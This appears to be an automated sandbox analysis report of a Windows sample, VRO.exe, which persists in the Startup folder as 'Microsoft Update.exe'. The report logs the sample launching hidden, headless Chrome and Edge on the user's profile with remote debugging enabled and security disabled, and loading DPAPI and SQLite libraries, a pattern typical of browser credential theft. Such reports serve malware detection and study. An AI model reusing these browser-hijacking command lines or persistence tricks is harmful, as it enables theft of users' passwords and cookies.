Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9616 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1608 --field-trial-handle=1460,i,3805261518618613516,16454746265131865936,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:8
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9540 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1624 --field-trial-handle=1464,i,729406190311024372,12238423268301362517,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:8
Source: C:\Users\user\Desktop\VRO.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9562 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9992 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9651 --user-data-dir="C:\Users\user\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9953 --user-data-dir="C:\Users\user\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1656 --field-trial-handle=1488,i,16314425066531469225,11487421287566964824,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1604 --field-trial-handle=1416,i,9921731140801761546,7408010498993882837,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1404 --field-trial-handle=1460,i,10255789939080052098,10160627402443088733,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1984 --field-trial-handle=1924,i,337883984833686401,2949001340945337258,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:3	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9616 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9540 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1608 --field-trial-handle=1460,i,3805261518618613516,16454746265131865936,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1624 --field-trial-handle=1464,i,729406190311024372,12238423268301362517,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\VRO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: icu.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: wshunix.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Section loaded: e_sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: icu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: wshunix.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Section loaded: napinsp.dll	Jump to behavior

Source: VRO.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: VRO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: VRO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: VRO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: VRO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: VRO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: VRO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: VRO.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: VRO.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdbSHA256r source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.ProtectedData/Release/net8.0/System.Security.Cryptography.ProtectedData.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Compression\Release\net8.0-windows\System.IO.Compression.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net6.0/Newtonsoft.Json.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Process\Release\net8.0-windows\System.Diagnostics.Process.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/EntityFramework/Release/netstandard2.1/EntityFramework.pdbSHA256kX source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\dev\sqlite\dotnet-private\System.Data.SQLite\obj\Release\netstandard2.1\System.Data.SQLite.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.bundle_green\obj\Release\netstandard2.0\SQLitePCLRaw.batteries_v2.pdbSHA256@ source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.ProtectedData/Release/net8.0/System.Security.Cryptography.ProtectedData.pdbSHA256 source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.bundle_green\obj\Release\netstandard2.0\SQLitePCLRaw.batteries_v2.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Diagnostics.Process.ni.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net6.0/Newtonsoft.Json.pdbSHA256(s source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.provider.e_sqlite3\obj\Release\net6.0\SQLitePCLRaw.provider.e_sqlite3.pdbSHA256 source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.provider.e_sqlite3\obj\Release\net6.0\SQLitePCLRaw.provider.e_sqlite3.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
